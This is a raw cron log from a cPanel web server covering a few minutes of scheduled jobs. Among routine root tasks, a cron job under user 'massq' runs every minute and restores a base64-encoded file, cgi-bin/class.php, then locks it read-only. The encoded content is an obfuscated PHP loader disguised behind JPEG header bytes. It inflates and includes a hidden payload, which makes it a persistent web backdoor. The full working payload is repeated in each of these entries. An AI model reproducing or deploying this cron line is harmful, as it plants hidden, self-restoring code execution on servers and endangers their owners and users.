Sep  9 19:26:01 server CROND[3614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:26:01 server CROND[3615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:26:01 server CROND[3616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:27:01 server CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:27:01 server CROND[3988]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:27:01 server CROND[3985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:27:01 server CROND[3987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:28:01 server CROND[4382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:28:01 server CROND[4384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:28:01 server CROND[4383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:29:01 server CROND[4857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:29:01 server CROND[4858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:29:01 server CROND[4859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:30:01 server CROND[5257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:30:01 server CROND[5258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:30:01 server CROND[5260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:30:01 server CROND[5263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:30:01 server CROND[5262]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:30:01 server CROND[5259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:30:01 server CROND[5264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:30:01 server CROND[5261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:31:01 server CROND[6100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:31:01 server CROND[6101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:31:01 server CROND[6102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:32:01 server CROND[6487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:32:01 server CROND[6488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:32:01 server CROND[6489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:33:01 server CROND[6877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:33:01 server CROND[6878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:33:01 server CROND[6879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:34:01 server CROND[7284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:34:01 server CROND[7286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:34:01 server CROND[7287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:35:01 server CROND[7799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:35:01 server CROND[7816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:35:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:35:01 server CROND[7814]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:35:01 server CROND[7815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:35:01 server CROND[7821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:35:01 server CROND[7826]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:35:01 server CROND[7822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:35:01 server CROND[7820]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 19:36:01 server CROND[8728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:36:01 server CROND[8729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:36:01 server CROND[8730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:37:01 server CROND[9162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:37:01 server CROND[9163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:37:01 server CROND[9161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
